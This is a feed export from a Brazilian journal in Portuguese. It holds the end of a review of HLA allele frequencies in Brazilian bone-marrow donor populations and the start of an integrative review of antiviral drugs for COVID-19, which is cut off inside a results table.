<p class="wp-block-paragraph">Com relação às regiões Sul-Sudeste, para o trabalho de Guimarães, os achados foram os mesmos, mudando somente suas posições, porém a aparição do alelo DRB1*11, foi um achado diferenciado em relação aos outros estados. De forma que sua alta prevalência também foi vista nos trabalhos de Ayo e colaboradores (2014), Salvadori e colaboradores (2014) para o estado de São Paulo e no estudo de Bardi e colaboradores (2011) para a população paranaense. Esses dados estabelecem uma proximidade em relação à genética de populações dessas regiões.&nbsp;</p>



<p class="wp-block-paragraph">Outro estudo a nível nacional analisado nesta revisão, foi o trabalho de da Silva e colaboradores (2025) que realizou a catalogação dos alelos para 298.162 doadores voluntários de medula óssea cadastrados no REDOME. Além disso, esse estudo também fez a classificação dos alelos encontrados, respeitando os critérios estabelecidos na planilha CIWD 3.0, tal planilha se trata de um banco de dados internacional, que tem como intuito catalogar as frequências alélicas dos doadores cadastrados ao redor do mundo, nessa análise, os alelos foram classificados em comum (C), intermediário (I), bem documentados (WD) e não presentes na planilha CIWD (non-CIWD), tendo em vista que o Brasil não estava incluído na compilação original da planilha.&nbsp;</p>



<p class="wp-block-paragraph">Os alelos tidos como comuns têm uma frequência de pelo menos 1 a cada 10.000 indivíduos. Já os alelos intermediários, compreendem aqueles com frequência menor que 1 a cada 10.000, porém não ultrapassando de 1 a cada 100.000, no caso dos bem documentados, deve haver mais de 5 observações do alelo, além da frequência, que deve ser inferior a 1 a cada 100.000.&nbsp;</p>



<p class="wp-block-paragraph">O ponto relevante no artigo de da Silva (2025) é a catalogação dos alelos nonCIWD por <em>Next-Generation Sequencing</em> (NGS), e nota-se alelos que existem na população brasileira, porém não estão na planilha citada.&nbsp;</p>



<p class="wp-block-paragraph">Alelos non-CIWD visualizados, por Vianna (2020) e da Silva (2025) foram: HLAA (A*11:12 e A*24:25), HLA-B (B*15:52 e B*35:22:01), HLA-DRB1 (DRB1*03:06,&nbsp;DRB1*13:16, DRB1*07:11 e DRB1*15:07:01), e não foram encontrados alelos HLADQB1 classificados como non-CIWD para ambos os estudos. Outro achado relevante foram os alelos visualizados somente por Vianna e colaboradores (2020), sendo estes HLA-A (A*24:314), HLA-B (B*80:01:01, B*35:69, B*39:20, B*51:75 e B*58:22), HLADRB1(DRB1*11:07:01 e DRB1*12:05) e HLA-DQB1 (DQB1*02:03:01 e DQB1*03:21). Esses alelos visualizados somente no estudo da população do Rio de Janeiro, demonstra que estudos a nível estadual, podem relatar a presença de alelos que sejam particulares de subpopulações brasileiras, ou seja, podem não ser visualizados em estudos de âmbito nacional.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">De acordo com os aspectos acima relacionados, foi possível mapear e comparar as frequências alélicas dos <em>loci</em> HLA-A, HLA-B, HLA-DRB1 e HLA-DQB1 em diferentes populações estaduais e na média nacional por meio de literatura científica brasileira. Nesse sentido, a análise demonstrou uma uniformidade notável na composição dos três alelos mais prevalentes para cada <em>locus</em> em quase todos os cenários investigados.&nbsp;</p>



<p class="wp-block-paragraph">Com relação a todos os <em>loci</em>, destaca-se que, no caso do HLA-A, HLA-B, HLADRB1 E HLA-DQB1, os três alelos mais prevalentes são os mesmos entre as populações em quase todos os cenários analisados, a composição dos três alelos líderes permaneceu a mesma entre as populações, variando apenas a sua porcentagem de prevalência, o que resultava em alternância de posições ao longo das regiões.&nbsp;</p>



<p class="wp-block-paragraph">Apesar da relevância da análise com amplo panorama, as diferenças entre as metodologias aplicadas, o número amostral bastante variado e a concentração de pesquisas nas regiões sul e sudeste ressaltam a necessidade de realização de pesquisas mais recentes, com metodologias avançadas, que contemplem todas as regiões do país. Como o estudo de da Silva que além de realizar a catalogação, também comparou os achados com os parâmetros de grandes bancos de dados HLA, como a planilha CIWD.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ABBAS, A. K.; LICHTMAN, A. H.; PILLAI, S. <em>Imunologia Celular e Molecular</em>. 7. ed.&nbsp;Rio de Janeiro: Elsevier, 2011.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ALBERTS, B. et al.</strong> <em>Molecular Biology of the Cell</em>. 6. ed. New York: Garland Science, 2015.&nbsp;</p>



<p class="wp-block-paragraph">AYO, C. M. et al. Frequencies of allele groups HLA-A, HLA-B and HLA-DRB1 in a population from the northwestern region of São Paulo State, Brazil. <strong>Tissue Antigens</strong>, Hoboken, NJ, v. 65, n. 4, p. 384-389, abr. 2005.&nbsp;</p>



<p class="wp-block-paragraph">BARDI, M. S. et al. HLA-A, B and DRB1 allele and haplotype frequencies in volunteer bone marrow donors from the north of Paraná State. <strong>Brazilian Journal of Medical and Biological Research</strong>, Ribeirão Preto, SP, v. 39, n. 1, p. 77-83, jan. 2006.&nbsp;</p>



<p class="wp-block-paragraph">BIHL, F. et al. Overlapping and distinct roles for human leukocyte antigen (HLA) class I genes in the specific CD8+ T cell response to human cytomegalovirus. <strong>Journal of Immunology</strong>, Bethesda, MD, v. 176, n. 7, p. 4153–4161, 2006.&nbsp;</p>



<p class="wp-block-paragraph">BORTOLOTTO, A. S. et al. HLA-A, -B, and -DRB1 allelic and haplotypic diversity in a sample of bone marrow volunteer donors from Rio Grande do Sul State, Brazil. <strong>Human Immunology</strong>, New York, NY, v. 69, n. 12, p. 823-832, dez. 2008.&nbsp;</p>



<p class="wp-block-paragraph">CARVALHO, M. G. et al. HLA-A, HLA-B and HLA-DRB1 haplotype frequencies in Piauí’s volunteer bone marrow donors enrolled at the Brazilian registry. <strong>International Journal of Immunogenetics</strong>, Oxford, UK, v. 40, n. 4, p. 289-296, ago. 2013.&nbsp;</p>



<p class="wp-block-paragraph">CHOI, H. et al. A walk through the development of human leukocyte antigen typing: from serologic techniques to next-generation sequencing. <strong>Genes &amp; Genomics</strong>, Seul, v. 45, n. 4, p. 433-441, 2023.&nbsp;</p>



<p class="wp-block-paragraph">DA SILVA, J. S. et al. Common, Intermediate and Well-Documented HLA Alleles in the Brazilian Population: An Analysis of the Brazilian Bone Marrow Donor Registry (REDOME). <strong>HLA</strong>, Hoboken, NJ, v. 105, n. 2, p. e70051, 2025.&nbsp;</p>



<p class="wp-block-paragraph">GUIMARÃES, Leandro Torres. <strong>Análise das frequências dos grupos alélicos e haplótipos HLA -A*, -B* e -DRB1* por cor/raça e regionalidade do Brasil em uma amostra do Registro Brasileiro de Doadores Voluntários de Medula Óssea (REDOME)</strong>. 2015. Dissertação (Mestrado em Oncologia) – Instituto Nacional de Câncer, Rio de Janeiro, 2015.&nbsp;</p>



<p class="wp-block-paragraph">KLEIN, J.; SATO, A. The HLA system. First of two parts. <strong>New England Journal of Medicine</strong>, Waltham, MA, v. 343, n. 10, p. 702-709, 7 set. 2000.&nbsp;</p>



<p class="wp-block-paragraph">MACÊDO, M. B. et al. Análise do registro de doadores voluntários de medula óssea do Rio Grande do Norte, Brasil. <strong>Revista da Associação Médica Brasileira</strong>, São Paulo, SP, v. 61, n. 3, p. 212-217, 2015.&nbsp;</p>



<p class="wp-block-paragraph">MARÓSTICA, A. S. et al. How HLA diversity is apportioned: influence of selection and relevance to transplantation. <strong>Philosophical Transactions of the Royal Society B</strong>, London, v. 377, 2022.&nbsp;</p>



<p class="wp-block-paragraph">MENDONÇA-MATTOS, P. J. S. et al. HLA-A, -B, and -DRB1 allele and haplotype frequencies of 5,000 bone marrow registry from Pará (Amazon Forest Region). <strong>Human Immunology</strong>, v. 84, n. 4, p. 102986, abr. 2023.&nbsp;</p>



<p class="wp-block-paragraph">MORISHIMA, Y. et al. The clinical significance of human leukocyte antigen (HLA) allele compatibility in patients receiving a marrow transplant from serologically HLAA, HLA-B, and HLA-DR matched unrelated donors. <strong>Blood</strong>, Washington, D.C., v. 99, n. 11, p. 4200-4206, 2002.&nbsp;</p>



<p class="wp-block-paragraph">NEEFJES, J. et al. Towards a systems understanding of MHC class I and MHC class II antigen presentation. <strong>Nature Reviews Immunology</strong>, v. 11, p. 823-836, 2011.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Instituto Nacional de Câncer José Alencar Gomes da Silva. Registro Nacional de Doadores de Medula Óssea (REDOME). Brasília, 2024. Disponível em: https://redome.inca.gov.br/. Acesso em: 14 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SALVADORI, L. C.; SANTANA, F. C. S.; MARCOS, E. V. C. Frequency of alleles and haplotypes of the human leukocyte antigen system in Bauru, São Paulo, Brazil. <strong>Revista de Patologia Tropical</strong>, Goiânia, GO, v. 45, n. 4, p. 417-427, out./dez. 2016.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, Nayane dos Santos Brito. <strong>Diversidade genética do gene HLA-B em populações com diferentes perfis de ancestralidade</strong>. 2021. Dissertação (Mestrado em Patologia) – Faculdade de Medicina, Universidade Estadual Paulista&nbsp;“Júlio de Mesquita Filho”, Botucatu, 2021.&nbsp;</p>



<p class="wp-block-paragraph">VIANNA, R. et al<strong>.</strong> An NGS-based HLA haplotype analysis and population comparison between two cities in Rio de Janeiro, Brazil. <strong>HLA</strong>, Hoboken, NJ, v. 96, n. 3, p. 268276, set. 2020.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">¹Graduandos em Biomedicina (tcclaisepedro@gmail.com).<br>²Orientadora.<br>³Coorientador.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>TERAPIA DE ANTIVIRAIS PARA COVID-19</title>
		<link>https://revistaft.com.br/terapia-de-antivirais-para-covid-19/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 14 Nov 2025 13:56:06 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=248855</guid>

					<description><![CDATA[ANTIVIRAL THERAPY FOR COVID-19 REGISTRO DOI: 10.69849/revistaft/cl10202511141054 Mikaelly Iasmim de Oliveira Ferreira¹Luís Antônio Moraes de Vasconcelos¹Mariana da Silva Santos²Orientadora: Profa. Dra. Mariana da Silva Santos3 RESUMO&#160; A COVID-19 é uma infecção respiratória aguda potencialmente grave, de elevada transmissibilidade e distribuição global. Seu agente etiológico, SARS-CoV-2, é um vírus de RNA envelopado pertencente ao gênero Betacoronavirus, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">ANTIVIRAL THERAPY FOR COVID-19</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511141054</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Mikaelly Iasmim de Oliveira Ferreira¹<br>Luís Antônio Moraes de Vasconcelos¹<br>Mariana da Silva Santos²<br>Orientadora: Profa. Dra. Mariana da Silva Santos<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A COVID-19 é uma infecção respiratória aguda potencialmente grave, de elevada transmissibilidade e distribuição global. Seu agente etiológico, SARS-CoV-2, é um vírus de RNA envelopado pertencente ao gênero Betacoronavirus, o qual apresenta uma forma esférica com picos em sua superfície que se assemelham a uma coroa solar, sua proteína Spike (S) é essencial para a entrada nas células hospedeiras ao se ligar aos receptores da enzima conversora de angiotensina (ECA2). A pandemia de COVID-19 impulsionou uma intensa busca por terapias antivirais eficazes para o controle da infecção. Este trabalho teve como objetivo investigar os fármacos em fase de estudo clínico para o tratamento da COVID-19, por meio de uma revisão integrativa da literatura. A pesquisa foi realizada com estudos publicados entre os anos de 2020 e 2025, nas bases PubMed, ClinicalTrials, BVS, Scopus, Revista Nature e Revista Science, incluindo ensaios clínicos randomizados e controlados de fase III, com amostras adultas e fármacos com atividade antiviral comprovada. Conclui-se que os antivirais avaliados apresentam benefícios clínicos variados, com destaque para Azvudine, Molnupiravir, Nirmatrelvir, Remdesvir, os quais se mostraram promissores na redução da carga viral e progressão da doença.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Tratamento antiviral. Antiviral. COVID-19.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">COVID-19 is a potentially serious acute respiratory infection that is highly transmissible and has spread globally. Its etiological agent, SARS-CoV-2, is an enveloped RNA virus belonging to the Betacoronavirus genus, which has a spherical shape with spikes on its surface that resemble a solar corona. Its Spike (S) protein is essential for entry into host cells by binding to angiotensin-converting enzyme (ACE2) receptors. The COVID-19 pandemic has prompted an intense search for effective antiviral therapies to control the infection. This study aimed to investigate drugs in clinical trials for the treatment of COVID-19 through an integrative literature review. The research was conducted using studies published between 2020 and 2025 in the PubMed, ClinicalTrials, BVS, Scopus, Nature, and Science databases, including phase III randomized controlled clinical trials with adult samples and drugs with proven antiviral activity. It was concluded that the antivirals evaluated have varied clinical benefits, with emphasis on Azvudine, Molnupiravir, Nirmatrelvir, and Remdesvir, which have shown promise in reducing viral load and disease progression.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Antiviral treatment. Antiviral. COVID-19.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A COVID-19 é uma infecção respiratória aguda causada pelo coronavírus SARS-CoV-2, potencialmente grave, de elevada transmissibilidade e de distribuição global. O SARS-CoV-2 foi descoberto em amostras de lavado bronco alveolar obtidas de pacientes com pneumonia de causa desconhecida na cidade de Wuhan, província de Hubei, China, em dezembro de 2019. (Brasil, Ministério da Saúde, 2020). Diante desse cenário, a Organização Mundial de Saúde declarou o novo coronavírus como uma Emergência de Saúde Pública de Importância Internacional (ESPII) (OPAS, 2020).&nbsp;</p>



<p class="wp-block-paragraph">O SARS-CoV-2 é um vírus de RNA de fita simples sentido positivo, envelopado, pertencente à família Coronaviridae e ao gênero Betacoronavirus. Esse grupo viral inclui outros coronavírus conhecidos por causar infecções respiratórias em humanos, como o SARS-CoV-1, responsável pelo surto de Síndrome Respiratória Aguda Grave (SARS) em 2002-2003, e o MERS-CoV, causador da&nbsp;Síndrome Respiratória do Oriente Médio (MERS) em 2012. No entanto, o SARSCoV-2 se destacou devido à sua elevada transmissibilidade e capacidade de adaptação ao organismo humano (Morais et al., 2020; Araujo et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Apresenta uma forma esférica com muitos picos em sua superfície, similar a uma coroa solar. O SARS-CoV-2 é composto por 16 proteínas não estruturais e&nbsp; 4 proteínas estruturais principais, responsáveis pelos processos de replicação e pela entrada na célula, a proteína do envelope, a proteína de membrana, a proteína do nucleocapsídeo e a proteína S, ou proteína Spike, que possui alta afinidade com receptores da enzima conversora de angiotensina (ACE2) presente na superfície celular, o vírus utiliza a ressonância plasmônica de superfície para entrar nas células hospedeiras (Güler, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Foi relatada recentemente a caracterização bioquímica e biofísica da principal protease na clivagem para o processamento da poliproteína replicase (P0C6U8), a 3-chymotrypsinlike protease (3CLpro) do SARS-CoV-2. Sua descoberta tem alta relevância para o desenvolvimento de medicamentos que possuam sua estrutura como alvo, inibindo essa protease (Güler, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Um dos principais desafios no combate à COVID-19 é a alta taxa de mutação do SARS-CoV-2. Por ser um vírus de RNA, ele apresenta um mecanismo de replicação mais propenso a alterações genômicas, o que favorece o surgimento de variantes. Essas variantes podem alterar a transmissibilidade, a gravidade da infecção e a eficácia das vacinas e tratamentos. Atualmente, diversas sublinhagens do vírus já foram identificadas, sendo as principais as variantes Alfa, Beta, Gamma, Delta e Ômicron, cada uma com mutações específicas na proteína Spike que podem impactar a resposta imune (Harvey et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">A doença da COVID-19 compreende um amplo espectro de sintomas, principalmente respiratórios, sendo facilmente confundida com outras doenças como gripes sazonais e pneumonia. Os sintomas relatados mais comuns são febre, dispneia ou fadiga, tosse seca, cefaleia, alterações de olfato e paladar, sintomas gastrointestinais, sintomas neurológicos e mialgia (Wang et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Por conseguinte, os tratamentos da COVID-19, em sua maioria, são sintomáticos e variam conforme a gravidade dos sintomas. Em casos leves, o tratamento é realizado em casa, seguindo orientação médica. Já em casos mais graves, que envolvem comprometimento respiratório e complicações severas, é recomendado o internamento hospitalar, podendo haver necessidade de cuidados intensivos em Unidade de Terapia Intensiva (UTI) (Bezerra, 2024; Conitec, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Diversos medicamentos foram autorizados pela ANVISA para uso emergencial durante a pandemia de COVID-19, com base em critérios de eficácia preliminar e segurança observada em estudos clínicos. A Anvisa reforça que decisões de aprovação ou suspensão se baseiam em evidências científicas consolidadas. O uso desses medicamentos deve sempre seguir orientação médica e protocolos oficiais, visando a segurança do paciente e a efetividade terapêutica (BRASIL. Agência Nacional de Vigilância Sanitária, 2023).&nbsp;</p>



<p class="wp-block-paragraph">O constante surgimento de variantes reforça a importância da vigilância epidemiológica e da atualização contínua das estratégias de prevenção e tratamento. Pesquisas continuam sendo conduzidas para compreender melhor os mecanismos de mutação e adaptação do vírus (Oliveira, 2020; Silva, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Os avanços no tratamento da COVID-19 têm se concentrado principalmente em medicamentos antivirais, que buscam combater o vírus em fases iniciais da doença. Embora os tratamentos convencionais sejam, em sua maioria, voltados para o alívio dos sintomas, a pesquisa científica contínua visa identificar terapias mais eficazes para reduzir a carga viral e melhorar o prognóstico em pacientes com a infecção (Wang et al., 2020; Araújo et al., 2020).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O presente trabalho tem como objetivo compreender de forma detalhada os principais aspectos biológicos, estruturais e clínicos relacionados ao SARS-CoV-2, agente causador da COVID-19 e o desenvolvimento de terapias e vacinas. Além disso, busca-se analisar os avanços científicos no diagnóstico e tratamento da doença, destacando a importância do uso racional de medicamentos aprovados pela ANVISA. Dessa forma, o estudo visa contribuir para o entendimento do impacto do vírus na saúde pública e da necessidade contínua de pesquisas para o controle eficaz da COVID-19 e de suas variantes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão de integrativa de literatura com análise dos artigos publicados nas bases de dados e fontes científicas PubMed, ClinicalTrials, BVS, Scopus, Revista Nature e Revista Science no período de 2020 a 2025. A pergunta norteadora deste trabalho segue: “Quais os fármacos antivirais estão sendo utilizados para o tratamento da COVID-19?”.&nbsp;</p>



<p class="wp-block-paragraph">Para aquisição da amostragem na literatura foram usados Descritores em Saúde e termos para composição da revisão integrativa. Foram selecionados os seguintes descritores nos idiomas de português e inglês: “COVID-19” OR “SARSCOV-2” AND “Antivirais/ Antivirals” OR “Tratamento antiviral/ Antiviral treatment“ OR “Agentes antivirais/ Antiviral agents” AND “Ensaios clínicos/ Clinical trial”.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos artigos foi feita em etapas. Na primeira etapa os estudos clínicos foram filtrados quanto à compatibilidade do título com o objetivo desta revisão, visando selecionar estudos relevantes à área de interesse. Neste processo foram excluídas duplicatas.&nbsp;</p>



<p class="wp-block-paragraph">A amostragem iniciou com 128 artigos condizentes com a temática deste estudo. Os estudos foram organizados quanto à base de dados: PubMed (60), ClinicalTrials (32), BVS (21), Scopus (13), Nature (1), Science (1).&nbsp;</p>



<p class="wp-block-paragraph">Na segunda etapa foi avaliada a elegibilidade dos estudos quanto à sua amostragem, como a quantidade de participantes, faixa etária do público além da evidência e tipo de estudo, visando filtrar estudos randomizados, com duplo cego, grupo placebo e com uso de medicamentos antivirais ou associações com antivirais.&nbsp;</p>



<p class="wp-block-paragraph">A terceira etapa se refere à descrição e interpretação dos estudos e artigos selecionados e aprovados. A descrição dos resultados foi formulada em quadros organizados em nome dos autores, título e periódico, objetivo, amostra, local e ano e os principais resultados.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS&nbsp;</strong></p>



<p class="wp-block-paragraph">Após as buscas nas bases de dados foram selecionados 127 estudos, durante a avaliação dos estudos foram removidos os estudos filtrados por título (n=56), permanecendo 71 artigos. Sequentemente, os estudos foram criteriosamente filtrados quanto aos critérios de elegibilidade (n=34), contabilizando um total de 37 artigos para avaliação no presente estudo.&nbsp;</p>



<p class="wp-block-paragraph">Os resultados se basearam nos artigos selecionados, que foram publicados entre os anos de 2020 e 2025, conduzidos em diversos países, incluindo Brasil, China, Japão e Estados Unidos. Os estudos relatam os seguintes fármacos:&nbsp;</p>



<p class="wp-block-paragraph">Azvudine, Ensitrelvir, Favipiravir, Lopinavir, Molnupiravir, Nirmatrelvir e Remdesvir.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong>: Fluxograma da seleção de material bibliográfico</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="321" height="529" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-1453.png" alt="" class="wp-image-249736" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-1453.png 321w, https://revistaft.com.br/wp-content/uploads/2025/11/image-1453-182x300.png 182w" sizes="(max-width: 321px) 100vw, 321px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autor, 2025&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1:</strong> Distribuição de artigos por medicamento.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="563" height="111" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-1262.png" alt="" class="wp-image-248860" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-1262.png 563w, https://revistaft.com.br/wp-content/uploads/2025/11/image-1262-300x59.png 300w" sizes="(max-width: 563px) 100vw, 563px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autor, 2025.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.1.&nbsp;Azvudine&nbsp;</strong></p>



<p class="wp-block-paragraph">A Azvudine é um análogo de nucleosídeo (análogo de Citidina) com ação antiviral. É descrito como um “duplo-alvo” nucleosídeo inibidor, que pode interferir na replicação viral por incorporação em RNA viral e possivelmente também impactar outras etapas relacionadas ao ciclo viral.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sua descoberta foi direcionada para o tratamento de Hepatite C, mas ao decorrer dos tempos tem sido reposicionado para doenças como AIDS e COVID-19. Na China, Azvudine foi aprovada para uso no tratamento de COVID-19 leve a moderada, foi autorizada condicionalmente em 25 de julho de 2022 pela agência reguladora chinesa (NMPA).&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong>: Distribuição dos estudos sobre Azvudine.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores&nbsp;</strong></td><td><strong>Título/&nbsp;Periódico&nbsp;</strong></td><td><strong>Objetivo(s)&nbsp;</strong></td><td><strong>Amostra&nbsp;</strong></td><td><strong>Local/&nbsp;Ano&nbsp;</strong></td><td><strong>Principais resultados&nbsp;</strong></td></tr><tr><td>WANG,&nbsp;Luo;&nbsp;WANG, Yaqi; XU,&nbsp;Yan; et al.&nbsp;</td><td>Impacto da&nbsp;administração precoce e tardia da Azvudine na mortalidade por COVID-19: um&nbsp;estudo retrospectivo&nbsp;</td><td>Avaliar a eficácia e segurança do medicamento oral Azvudine em pacientes hospitalizados com COVID-19, comparando-o ao tratamento padrão.&nbsp;&nbsp;</td><td>604 participantes, 302 fizeram uso precoce e 302 usos tardios.&nbsp;</td><td>Pequim,&nbsp;China, 2022 &#8211; 2023.&nbsp;</td><td>Administrar Azvudine precocemente está associado a redução da mortalidade e diminuição da taxa de progressão da doença para formas graves em 28 dias, quando comparado com administração tardia.&nbsp;&nbsp;</td></tr><tr><td>DE&nbsp;SOUZA,&nbsp;Sávio&nbsp;Bastos;&nbsp;CABRAL,&nbsp;Paula&nbsp;Gebe&nbsp;Abreu; DA&nbsp;SILVA,&nbsp;Renato&nbsp;Martins; et al.&nbsp;</td><td>Estudo&nbsp;clínico de fase&nbsp;III , randomizado, duplo-cego e controlado por placebo:&nbsp;um estudo sobre a segurança e eficácia&nbsp;clínica do Azvudine em pacientes com COVID-19 moderada</td><td>Avaliar a segurança e a eficácia clínica do Azvudine em pacientes com COVID 19 moderada.</td><td>180 participantes.</td><td>Brasil, 2021 -2022.&nbsp;</td><td>O grupo que recebeu Azvudine apresentou uma redução significativa na carga viral em comparação ao grupo placebo, tendo uma conversão para carga indetectável.&nbsp;Além disso, a duração da hospitalização foi reduzida no grupo tratado com&nbsp;Azvudine. O perfil de segurança foi&nbsp;considerado&nbsp;aceitável, com eventos adversos principalmente não graves.&nbsp;</td></tr><tr><td>SUN,&nbsp;Yuming;&nbsp;JIN,&nbsp;Liping;&nbsp;DIAN,&nbsp;Yating; et al</td><td>Azvudine oral para pacientes hospitalizados&nbsp;<br>com COVID-19&nbsp;e condições preexistentes: um estudo de coorte retrospectivo.&nbsp;</td><td>Avaliar os efeitos do&nbsp;tratamento com Azvudine oral em&nbsp;pacientes hospitalizados com COVID-19.&nbsp;</td><td>841 participantes.</td><td>China, 2023.&nbsp;</td><td>Após pareamento por escore de propensão, 245 pacientes tratados com Azvudine foram comparados com&nbsp;245 controles. A taxa de incidência bruta do desfecho foi menor no grupo com&nbsp;Azvudine em comparação com o grupo controle. A mortalidade por todas as causas foi reduzida no grupo com Azvudine,&nbsp;embora os dados específicos não tenham sido fornecidos no resumo do estudo.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Foram registrados eventos adversos relacionados ao uso do Azvudine, mas esses eventos não causaram mudança na segurança do medicamento. Os resultados indicaram que os eventos adversos mais comuns foram sintomas gastrointestinais leves, como diarreia e náusea.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2. Ensitrelvir&nbsp;</strong></p>



<p class="wp-block-paragraph">Ensitrelvir é um medicamento inibidor de protease 3CL do SARS-CoV-2, impedindo a clivagem de poliproteínas e a formação de proteínas virais de replicação. É um fármaco que possui biodisponibilidade oral, em tecidos pulmonares e metabolismo controlado.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">No Japão, o Ensitrelvir é aprovado para uso emergencial e tratamento de COVID-19 leve/moderada desde novembro de 2022.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2</strong>: Distribuição dos estudos sobre Ensitrelvir</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong></td><td><strong>Título/&nbsp;<br>Periódico</strong></td><td><strong>Objetivo(s)</strong></td><td><strong>Amostra</strong></td><td><strong>Local/&nbsp;Ano</strong></td><td><strong>Principais resultados</strong></td></tr><tr><td>LUETKEMEYER, Anne F; CHEW, Kara W; LACEY,&nbsp;<br>Stuart; et al.</td><td>Ensitrelvir para o tratamento de adultos não&nbsp;<br>hospitalizados&nbsp;<br>com COVID-<br>19: resultados do SCORPIOHR, ensaio clínico de fase&nbsp;3,&nbsp;<br>randomizado, duplo-cego e controlado por placebo.</td><td>Avaliar a eficácia e segurança do Ensitrelvir em adultos não&nbsp;<br>hospitalizados&nbsp;<br>com COVID-<br>19 de gravidade leve a moderada,&nbsp;<br>iniciando tratamento dentro de 5 dias após o início dos sintomas.</td><td>2.093 participantes de 16 países na África,&nbsp;Asia,&nbsp;<br>Europa,&nbsp; América do&nbsp;<br>Norte e&nbsp;<br>América do&nbsp;<br>Sul.</td><td>Ásia,&nbsp;<br>2025.</td><td>O uso de&nbsp;<br>Ensitrelvir em adultos não&nbsp;<br>hospitalizados&nbsp;<br>com COVID-19 não alcançou significância&nbsp;<br>estatística no desfecho primário de tempo até&nbsp;<br>resolução sustentada de 15 sintomas por pelo menos dois dias quando iniciado dentro de três dias do início dos sintomas, embora tenha ocorrido uma redução numérica em relação ao placebo. O perfil de segurança foi semelhante ao do placebo, sem registros de mortes ou&nbsp;<br>hospitalizações atribuíveis ao fármaco.</td></tr><tr><td>YOTSUYANAGI,&nbsp;<br>Hiroshi;&nbsp;<br>OHMAGARI,&nbsp;<br>Norio; DOI,&nbsp;<br>Yohei; et al.</td><td>Eficácia e segurança do&nbsp;<br>Ensitrelvir oral durante 5 dias em pacientes com COVID-19 leve a moderada: o ensaio clínico randomizado.</td><td>Avaliar se o tratamento com&nbsp;<br>Ensitrelvir por 5 dias reduz o tempo para resolução dos 5 sintomas típicos da COVID-19 em pacientes com doença leve a moderada, comparado ao placebo.</td><td>1.821 participantes.</td><td>Japão, 2024.</td><td>O grupo tratado com Ensitrelvir teve tempo mediano até a resolução de cinco sintomas típicos de&nbsp;<br>COVID-19&nbsp;<br>significativamente menor do que o placebo. Houve redução mais acentuada no&nbsp;<br>RNA viral no dia 4 e o tempo até positividade viral foi também mais curto. Não foram relatados eventos adversos graves relacionados ao tratamento.<br></td></tr><tr><td>OHMAGARI,&nbsp;<br>Norio;&nbsp;<br>YOTSUYANAGI, Hiroshi; DOI,&nbsp;<br>Yohei; et al.</td><td>Eficácia e segurança do&nbsp;<br>Ensitrelvir para&nbsp;<br>COVID-19 assintomática ou leve: uma&nbsp;<br>análise exploratória de um ensaio clínico multicêntrico, randomizado, 